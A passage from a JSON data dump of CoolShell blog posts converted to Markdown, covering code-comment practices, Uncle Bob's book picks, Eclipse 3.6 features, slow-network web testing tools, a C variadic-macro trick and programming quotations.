之争](https://coolshell.cn/articles/2735.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-28 五种应该避免的代码注释.md",
    "content": "---\nlayout: post\ntitle: 五种应该避免的代码注释\ndate: 2010/7/28/ 0:48:15\nupdated: 2010/7/28/ 0:48:15\nstatus: publish\npublished: true\ntype: post\n---\n\n在酷壳，有很多文章都提到了代码注释，如：《[十条不错的编程观点](https://coolshell.cn/articles/2424.html)》、《[优质代码的十诫](https://coolshell.cn/articles/1007.html)》、《[整洁代码的4个提示](https://coolshell.cn/articles/1095.html)》、《[惹恼程序员的十件事](https://coolshell.cn/articles/340.html)》等等。今天，某国外的程序员在[**这里**](http://repeatgeek.com/career/5-types-of-comments-to-avoid-making-in-your-code/)列举五种应该避免的程序注释，我觉得比较有道理，但我觉得有少数几个观点也并不绝对。所以，我把原文的这五种应该避免的程序注释罗列在下面，并放上原作者和我的个人观点作为比较。希望对大家有用。\n\n\n### 一、自恋型注释\n\n\n（注：原文为Proud，我觉得“自恋”更好一点）\n\n\n\n```\n\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        string message = \"Hello World!\";  // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n        message = \"I am so proud of this code!\"; // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n    }\n}\n```\n\n**原文**：这样的程序员对于自己的代码改动非常骄傲和自恋，所以，他觉得需在在这些自己的代码上标上自己的名字。其实，一个版本控制工具（如：CVS或Subversion）可以完整地记录下所有的关于代码的改动的和作者相关的一切信息，只不过不是那么明显罢了。\n\n\n**陈皓**：我同意原文的观点。在我的团队里也有这样的事情发生。有段时间我认真思考过这样的事情，是否应该把这样的事情在代码中铲除出去。后来，我觉得，允许这样的行为并不一定是坏事，因为两点：\n\n\n\n1. 调动程序员下属的积极性可能更为重要。即然，这种方式可以让程序员有骄傲的感觉，能在写代码中找到成就感，为什么要阻止呢？又不是什么大问题。\n2. 调动程序员的负责任的态度。程序员敢把自己的名字放在代码里，说明他对这些代码的信心，是想向大家展示其才能。所以，他当然知道，如果这段他加入的代码有问题的话，他的声誉必然受到损失，所以，他敢这么干，也就表明他敢于对自己的代码全面的负责。这不正是我们所需要的？！\n\n\n所以，基于上述考虑，我个人认为，**从代码的技术角度上来说，这样的注释很不好。但从团队的激励和管理上来说，这样的方式可能也挺好的**。所以，我并不阻止也不鼓励这样的注释。关键在于其是否能有更好的结果。\n\n\n### 二、废弃代码的注释\n\n\n\n```\n\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        /* This block of code is no longer needed\n         * because we found out that Y2K was a hoax\n         * and our systems did not roll over to 1/1/1900 */\n        //DateTime today = DateTime.Today;\n        //if (today == new DateTime(1900, 1, 1))\n        //{\n        //    today = today.AddYears(100);\n        //    string message = \"The date has been fixed for Y2K.\";\n        //    Console.WriteLine(message);\n        //}\n    }\n}\n```\n\n**原文**：如果某段代码不再使用了，那就应该直接删除。我们不应该使用注释来标准废弃的代码。同样，我们有版本控制工具来管理我们的源代码，在版本控制工具里，是不可能有代码能被真正的物理删除的。所以，你总是可以从以前的版本上找回你的代码的。\n\n\n**陈皓**：我非常同意这样的观点。只要你是废弃的，就应该是删除，而不是注释掉。注释并不是用来删除代码的。也许你会争论到，在迭代开发中，你觉得被注释的代码很有可能在未来会被使用，但现在因为种种问题暂时用不到，所以，你先注释着，然后等到某一天再enable它。所以你注释掉一些未来会有的程序。在这样的情况，你可以注释掉这段代码，但你要明白，这段代码不是“废弃”的，而是“临时”不用的。所以，我在这里提醒你，请不要教条式地在你的程序源码中杜绝这样的注释形式，是否“废弃”是其关键。\n\n\n### 三、明显的注释\n\n\n\n```\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        /* This is a for loop that prints the\n         * words \"I Rule!\" to the console screen\n         * 1 million times, each on its own line. It\n         * accomplishes this by starting at 0 and\n         * incrementing by 1. If the value of the\n         * counter equals 1 million the for loop\n         * stops executing.*/\n        for (int i = 0; i < 1000000; i++)\n        {\n            Console.WriteLine(\"I Rule!\");\n        }\n    }\n}\n```\n\n**原文**：看看上面的例子，代码比注释还容易读。是的，大家都是程序员，对于一些简单的，显而易见的程序逻辑，不需要注释的。而且，你不需要在你的注释中教别人怎么编程，你这是在浪费时间去解释那些显而易见的东西。你应该用注释去解释你的代码功能，原因，想法，而不是代码本身。\n\n\n**陈皓**：非常同意。最理解的情况是你的代码写得直接易读，代码本身就是自解释的，根本不需要注释。这是最高境界。注释应该说明下面的代码主要完成什么样的功能，为什么需要他，其主要算法怎么设计的，等等。而不是解释代码是怎么工作的。这点很多新手程序员都做得不够好。别外，我需要指出的是，代码注释不宜过多，如果太多的话，你应该去写文档，而不是写注释了。\n\n\n### 四、故事型注释\n\n\n\n```\npublic class Program\n{\n    static void Main(string[] args)\n    {\n       /* I discussed with Jim from Sales over coffee\n        * at the Starbucks on main street one day and he\n        * told me that Sales Reps receive commission\n        * based upon the following structure.\n        * Friday: 25%\n        * Wednesday: 15%\n        * All Other Days: 5%\n        * Did I mention that I ordered the Caramel Latte with\n        * a double shot of Espresso?\n       */\n        double price = 5.00;\n        double commissionRate;\n        double commission;\n        if (DateTime.Today.DayOfWeek == DayOfWeek.Friday)\n        {\n            commissionRate = .25;\n        }\n        else if (DateTime.Today.DayOfWeek == DayOfWeek.Wednesday)\n        {\n            commissionRate = .15;\n        }\n        else\n        {\n            commissionRate = .05;\n        }\n        commission = price * commissionRate;\n    }\n}\n```\n\n**原文**：如果你不得不在你的代码注释中提及需求，那也不应该提及人名。在上面的示例中，好像程序想要告诉其它程序员，下面那些代码的典故来自销售部的Jim，如果有不懂的，你可以去问他。其实，这根本没有必要在注释中提到一些和代码不相干的事。\n\n\n**陈皓**：太同意了。这里仅仅是代码，不要在代码中掺入别的和代码不相干的事。这里你也许会有以下的争辩：\n\n\n1. 有时候，那些所谓的“高手”逼着我这么干，所以，我要把他的名字放在这里让所有人看看他有多SB。\n2. 有时候，我对需求并不了解，我们应该放一个联系人在在这里，以便你可以去询问之。\n\n\n对于第一点，我觉得这是一种情绪化。如果你的上级提出一些很SB的想法，我觉得你应该做的是努力去和他沟通，说明你的想法。如果这样都不行的话，你应该让你的经理或是那个高手很正式地把他的想法和方案写在文档里或是电子邮件里，然后，你去执行。这样，当出现问题的时候，你可以用他的文档和邮件作为你的免责证据，而不是在代码里干这些事。\n\n\n对于第二点，这些需求的联系人应该是在需求文档中，如果有人有一天给你提了一个需求，你应该把其写在你的需求文档中，而不是你的代码里。要学会使用流程来管理你的工作，而不是用注释。\n\n\n最后，关于故事型的注释，我需要指出也有例外的情况，我们团队中有人写注释喜欢在注释或文档里写一些名人名言（如 [22条经典的编程引言](https://coolshell.cn/articles/808.html)，[编程引言补充](https://coolshell.cn/articles/1212.html)，[Linus Torvalds 语录 Top 10](https://coolshell.cn/articles/1278.html) ），甚至写一些小笑话，幽默的短句。我并不鼓励这么做，但如果这样有利于培养团队文化，有利于让大家对工作更感兴趣，有利于大家在一种轻松愉快的环境下读/写代码，那不也是挺好的事吗？\n\n\n另外，做为一个管理者，有时候我们应该去看看程序员的注释，因为那里面可能会有程序员最直实的想法和情绪（[程序员嘴最脏??](https://coolshell.cn/articles/1850.html)）。了解了他们的想法有利于你的管理。\n\n\n### 五、“TODO”注释\n\n\n\n```\npublic class Program\n{\n    static void Main(string[] args)\n    {\n       //TODO: I need to fix this someday – 07/24/1995 Bob\n       /* I know this error message is hard coded and\n        * I am relying on a Contains function, but\n        * someday I will make this code print a\n        * meaningful error message and exit gracefully.\n        * I just don’t have the time right now.\n       */\n       string message = \"An error has occurred\";\n       if(message.Contains(\"error\"))\n       {\n           throw new Exception(message);\n       }\n    }\n}\n```\n\n**原文**：当你在初始化一个项目的时候，TODO注释是非常有用的。但是，如果这样的注释在你的产品源码中出现了N多年，那就有问题了。如果有BUG要被fix，那就Fix吧，没有必要整一个TODO。\n\n\n**陈皓**：是的，TODO是一个好的标志仅当存在于还未release的项目中，如果你的软件产品都release了，你的代码里还有TODO，这个就不对了。也许你会争辩说，那是你下一个版本要干的事。OK，那你应该使用项目管理，或是需求管理来管理你下一个版本要干的事，而不是使用代码注释。通常，在项目release的前夕，你应该走查一下你代码中的TODO标志，并且做出决定，是马上做，还是以后做。如果是以后做，那么，你应该使用项目管理或需求管理的流程。\n\n\n上述是你应该避免使用的注释，以及我个人的一些观点，也欢迎你留下你的观点！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\nThe post [五种应该避免的代码注释](https://coolshell.cn/articles/2746.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-5 参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍.md",
    "content": "---\nlayout: post\ntitle: 参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍\ndate: 2010/7/5/ 0:30:29\nupdated: 2010/7/5/ 0:30:29\nstatus: publish\npublished: true\ntype: post\n---\n\n数量级25（10^25）是 Uncle Bob 在 [RailsConf](http://en.oreilly.com/rails2010) 演讲的主题。如果你用一台 PDP 8（ 1960年代的计算机）和 Mac PowerBook 做比较的话，你会发现 Mac PowerBook 比 PDP 8 快8000倍，有6百万倍大的内存，11000倍的耗能，1500倍的容量等等。如果将这些0累加起来，很容易达到10^25。在过去40年里，我们的硬件计算能力获得了10^25倍的提升，而作为软件开发人员的我们并没有利用这些计算能力来提升多少我们的软件开发能力。没错，我们是写了不少的代码，但是它们基本上都是一些顺序语句，if 语句，和 while 循环等，没有什么新鲜的东西。你可能会说面向对象是新东西呀，但是那只是另外一种组织顺序、选择和迭代等语句的方法而已。除我们现有的编程语言之外，如果有新的编程语言能够产生并创造新的“微积分学”，从而将软件开发提高到一个新的高度，将会是一件非常令人期待的事情，因为顺序语句，选择语句和迭代等最终将成为历史。\n\n\nUncle Bob 认为以下四本书是软件开发人员必须阅读的，并由他自己来排名。\n\n\n1. The Structure & Interpretation of Computer Programs 计算机程序的构造和解释 （By Harold Abelson & Gerald Sussman）\n\n\n书中使用的是 Scheme 语言（Lisp 的一个变种），此书的内容曾经是 MIT 计算机系的一门课程，当然现在已经不是了。\n\n\n2. Structured Programming 结构化程序设计 （By Edsger W. Dijkstra）\n\n\n相信软件专业的同学们都上过此课程，我们的启蒙书籍。这本书讨论了 go to 是怎样的邪恶，同时也讨论了面向对象。对比一下今天我们视为 best practice 的测试驱动开发（TDD），go to 在过去也曾经是 Fortran，Cobol 等语言的核心。\n\n\n3. The Annotated TURING （By Charles Petzold）\n\n\nUncle Bob 令人尴尬地忘记了这本书的名字，他自嘲说自己从来记不住这本书名。但是此书在他的推荐列表中列第三位。\n\n\n4. Clean Code （By Robert C. Martin）\n\n\nUncle Bob 本人的大作。\n\n\n我的一位同事将这位 Uncle Bob 视为软件开发领域中的上帝，Uncle Bob 这位大师在当下各类编程语言和平台层出不穷的时候，在我们为该学什么语言买什么书举棋不定的时候，推荐给读者这几本经典，也许是煞费苦心地想让我们参透软件开发的本质吧。不过会不会也是因为我们都在慢慢变老，许多旧的东西如今又变成了新鲜有趣的事情啦？（出自采访记者之口）\n\n\n[*文章来源*](http://vimeo.com/12957619)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![一些非常不错的资料](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg)](https://coolshell.cn/articles/3192.html)[一些非常不错的资料](https://coolshell.cn/articles/3192.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\nThe post [参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-7 Eclipse 3.6 （Helios）新特性.md",
    "content": "---\nlayout: post\ntitle: Eclipse 3.6 （Helios）新特性\ndate: 2010/7/7/ 0:30:14\nupdated: 2010/7/7/ 0:30:14\nstatus: publish\npublished: true\ntype: post\n---\n\n2010年6月23日 Eclipse 3.6 Helios 正式发布，对 Java 程序员来说有哪些新特性值得关注？\n\n\n1、检查并报告是否有缺失的 @Override 注解，此功能仅对 Java 1.6 版本适用。在以前版本中，当我们为一个方法加上 @Override  注解，但是这个方法实际上并没有过载（override）任何父类的方法时，将会得到警告信息。在新版本中，如果我们忘记为一个过载方法加上 @Override 注解，同样也会得到警告信息。\n\n\n2、变量视图中新增了一个列用于显示当前变量类型的实例数（Layout -> Select Column）。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-6.bmp \"Eclipse 3.6 - 6\")](https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-6.bmp)\n\n\n3、Java 视图中的包名称可以用自定义的规则来显示（Window –> Preferences –> Java –> Appearance）。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-3-300x157.png \"Eclipse 3.6 - 3\")](https://coolshell.cn/wp-content/uploads/2010/07/Eclipse-3.6-3.png)\n\n\n\n4、用户可以选择在关闭 Eclipse 时不清除本地更改历史（local history），这样可以加快关闭的速度，但同时本地更改历史记录将会无限制地增大。\n\n\n5、查看实现代码（Open Implementation）。此功能在 Navigate 菜单中能够找到，目前没有缺省的快捷键，用户可以为其自定义一个（Windows –> Preferences –> General –> Keys）。例如，用户可以查看一个抽象方法的具体实现，如果有多个实现， Eclipse 会显示一个弹出窗口。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-2.png \"Eclipse 3.6 - 2\")](../wp-content/uploads/2010/07/Eclipse-3.6-2.png)\n\n\n6、虚拟文件夹（Virtual Folders）。用户可以在 workspace 中创建文件夹，这些文件夹只对 Eclipse 可见，对操作系统不可见。并且它们只能包含其他的虚拟文件夹和外部链接资源。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-4.png \"Eclipse 3.6 - 4\")](../wp-content/uploads/2010/07/Eclipse-3.6-4.png)\n\n\n7、安装配置比较（Compare Configurations）。通过此功能用户可以查看那些组件在哪一时间被安装，还可以选择卸载无用的安装以节省空间。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-5-300x256.png \"Eclipse 3.6 - 5\")](../wp-content/uploads/2010/07/Eclipse-3.6-5.png)\n\n\n8、提供了对 JSF 2.0，Apache Tomcat 7，和 Aapache CXF 的支持，新增了 JAX-RS project facet。\n\n\n9、Eclipse 市场客户端（Eclipse Market Place Client）。在以前的版本中安装插件（plugins）一直都不能说是一件简单的事情，用户需要搜索相应的 update site URL。新版本引入了和 Apple 的应用商店类似的概念，用户可以在 Eclipse IDE 内搜索和安装插件了，此功能在 Help 菜单中可以找到。\n\n\n[![](../wp-content/uploads/2010/07/Eclipse-3.6-1-300x215.png \"Eclipse 3.6 - 1\")](../wp-content/uploads/2010/07/Eclipse-3.6-1.png)\n\n\n*[文章来源一](http://www.techsagar.com/2010/07/10-new-features-which-i-liked-the-most-in-eclipse-helios-3-6-2/)，[文章来源二](http://rajakannappan.blogspot.com/2010/05/new-features-in-eclipse-36-helios.html)*\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [Eclipse 3.6 （Helios）新特性](https://coolshell.cn/articles/2554.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-9 如何在低速率网络中测试 Web 应用.md",
    "content": "---\nlayout: post\ntitle: 如何在低速率网络中测试 Web 应用\ndate: 2010/7/9/ 0:0:14\nupdated: 2010/7/9/ 0:0:14\nstatus: publish\npublished: true\ntype: post\n---\n\n大家看到标题后的第一个问题可能是：“我们需要这样做吗？”\n\n\n如果我们开发的是局域网 Web 应用的话，可能没有必要这样做。但如果我们的 Web 应用面向的是互联网上的成千上万的用户，这样做就很必要了。因为在现实世界中并不是所有的用户都有高数率的网络连接，也许用户使用的是拨号接入，移动设备，3G，或者是 USB 网络加密狗。如果我们没有在低数率的网络环境中测试过我们 Web 应用，极有可能在上线后收到一些意想不到的关于系统性能方面的抱怨。这个时候无论我们的 Web 应用界面多么地 Web 2.0，功能多么地强大，对于用户来说都失去了使用价值。\n\n\n目前有很多工具能够模拟慢速网络，值得一提的是 [Firefox Throttle](https://addons.mozilla.org/en-US/firefox/addon/5917/)，这是一个 Firefox 插件，你可以设置上载和下载的数率，并且监控当前带宽的使用情况。另一个非常有用的特性是它可以控制你的 localhost 的连接数率，对本地测试很有用。\n\n\nFirefox Throttle 的截图\n\n\n[![](../wp-content/uploads/2010/07/Firefox-Throttle-300x231.png \"Firefox Throttle\")](https://coolshell.cn/wp-content/uploads/2010/07/Firefox-Throttle.png)\n\n\n另一个工具是 [Sloppy](http://www.dallaway.com/sloppy/)，它是一个 Java Web Start application。\n\n\n*[文章来源](http://www.devcurry.com/2010/07/simulate-slow-internet-connections.html)*\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![十个免费的Web压力测试工具](../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg)](https://coolshell.cn/articles/2589.html)[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\nThe post [如何在低速率网络中测试 Web 应用](https://coolshell.cn/articles/2574.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-10 C技巧：结构体参数转成不定参数.md",
    "content": "---\nlayout: post\ntitle: C技巧：结构体参数转成不定参数\ndate: 2010/8/10/ 0:24:52\nupdated: 2010/8/10/ 0:24:52\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这段程序是一个C语言的小技巧，其展示了如何把一个参数为结构体的函数转成一个可变参数的函数，其中用到了宏和内建宏“`__VA_ARGS__`”，下面这段程序可以在GCC下正常编译通过：\n\n\n\n```\n#include <stdio.h>\n\n#define func(...) myfunc((struct mystru){__VA_ARGS__})\n\nstruct mystru { const char *name; int number; };\n\nvoid myfunc(struct mystru ms )\n{\n  printf(\"%s: %d\\n\", ms.name ?: \"untitled\", ms.number);\n}\n\nint main(int argc, char **argv)\n{\n  func(\"three\", 3);\n  func(\"hello\");\n  func(.name = \"zero\");\n  func(.number = argc, .name = \"argc\",);\n  func(.number = 42);\n  return 0;\n}\n\n```\n\n从上面这段程序，我们可以看到一个叫 myfunc的函数，被func的宏改变了，本来myfunc需要的是一个叫mystru的结构，然而通过宏，我们把struct mystru的这个参数，变成了不定参数列表的一个函数。上面这段程序输出入下，\n\n\n\n\n> three: 3  \n> \n> hello: 0  \n> \n> zero: 0  \n> \n> argc: 1  \n> \n> untitled: 42\n> \n> \n\n\n虽然，这样的用法并不好，但是你可以从另外一个方面了解一下这世上对C稀奇古怪的用法。 如果你把宏展开后，你就明的为什么了。下面是宏展开的样子：\n\n\n\n```\n\n  myfunc((struct mystru){\"three\", 3});\n  myfunc((struct mystru){\"hello\"});\n  myfunc((struct mystru){.name = \"zero\"});\n  myfunc((struct mystru){.number = argc, .name = \"argc\",});\n  myfunc((struct mystru){.number = 42});\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C技巧：结构体参数转成不定参数](https://coolshell.cn/articles/2801.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-12 程序员版的凡客.md",
    "content": "---\nlayout: post\ntitle: 程序员版的凡客\ndate: 2010/8/12/ 7:24:48\nupdated: 2010/8/12/ 7:24:48\nstatus: publish\npublished: true\ntype: post\n---\n\n现在“凡客诚品”的PS风已经成为了一场运动，详见这里：<http://bigfools.com/2010/08/6634.html>。这两天，公司内部要出期刊，正好下班没事，于是跟着这股网风，为公司的期刊做了一个插图，那些语句着实花了我很多时间。用PPT乱做的，希望大家喜欢。呵呵。\n\n\n[![](../wp-content/uploads/2010/08/coolshell.programmer.jpg \"程序员版的凡客\")](https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer.jpg)\n\n\n欢迎你留下你的版本，尤其是那些语句。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员版的凡客](https://coolshell.cn/articles/2806.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-8-2 最佳编程语录.md",
    "content": "---\nlayout: post\ntitle: 最佳编程语录\ndate: 2010/8/2/ 0:15:45\nupdated: 2010/8/2/ 0:15:45\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发布过《[22条经典的编程引言](https://coolshell.cn/articles/808.html)》、《[编程引言补充](https://coolshell.cn/articles/1212.html)》、《[Linus Torvalds 语录](https://coolshell.cn/articles/1278.html)》还有《[十条不错的编程观点](https://coolshell.cn/articles/2424.html)》。今天向大家介绍“最佳编程语录”，条条都是很不错的语录，如同我们的太阳，照亮了我们的方向（所以我们选用了一个红色的图片，希望能够通过五毛们的网络审查）。![](../wp-content/uploads/2010/08/Best-Programming-Quotations-201x300.jpg \"Best Programming Quotations\")其中只有一两条在以前本站发布过的文章中出现过。这篇[**文章的出处在这里**](http://www.linfo.org/q_programming.html)，下面是“[Neo](https://coolshell.cn/?author=4)”和“[陈皓](https://coolshell.cn/?author=2)”的翻译，我们的翻译水平有限，所以，我们提供了中英文对照，有不当之处，还请各位指正。\n\n\n\n> A good programmer is someone who looks both ways before crossing a one-way street. — Doug Linder, systems administrator\n> \n> \n> 好的程序员这样一类人，这类人在横穿一条单行道前都要先看一下路两边。– Doug Linder, 系统管理员\n> \n> \n\n\n\n> A most important, but also most elusive, aspect of any tool is its influence on the habits of those who train themselves in its use. If the tool is a programming language this influence is, whether we like it or not, an influence on our thinking habits. — Edsger Dijkstra, computer scientist\n> \n> \n> 关于工具，一个最重要的，也是最不易察觉的方面是，工具对使用此工具的人的习惯的潜移默化的影响。如果这个工具是一门程序语言，不管我们是否喜欢它，它都会影响我们的思维惯式。 –Edsger Dijkstra, 著名的计算机科学家。\n> \n> \n\n\n\n> Being abstract is something profoundly different from being vague… The purpose of abstraction is not to be vague, but to create a new semantic level in which one can be absolutely precise. — Edsger Dijkstra\n> \n> \n> 抽象和模糊完全地不同，抽象的目的并不是把事情变模糊，而去创建一个新的语义层，在那里是绝对精确的描述。 — Edsger Dijkstra\n> \n> \n\n\n\n> Besides a mathematical inclination, an exceptionally good mastery of one’s native tongue is the most vital asset of a competent programmer. — Edsger Dijkstra\n> \n> \n> 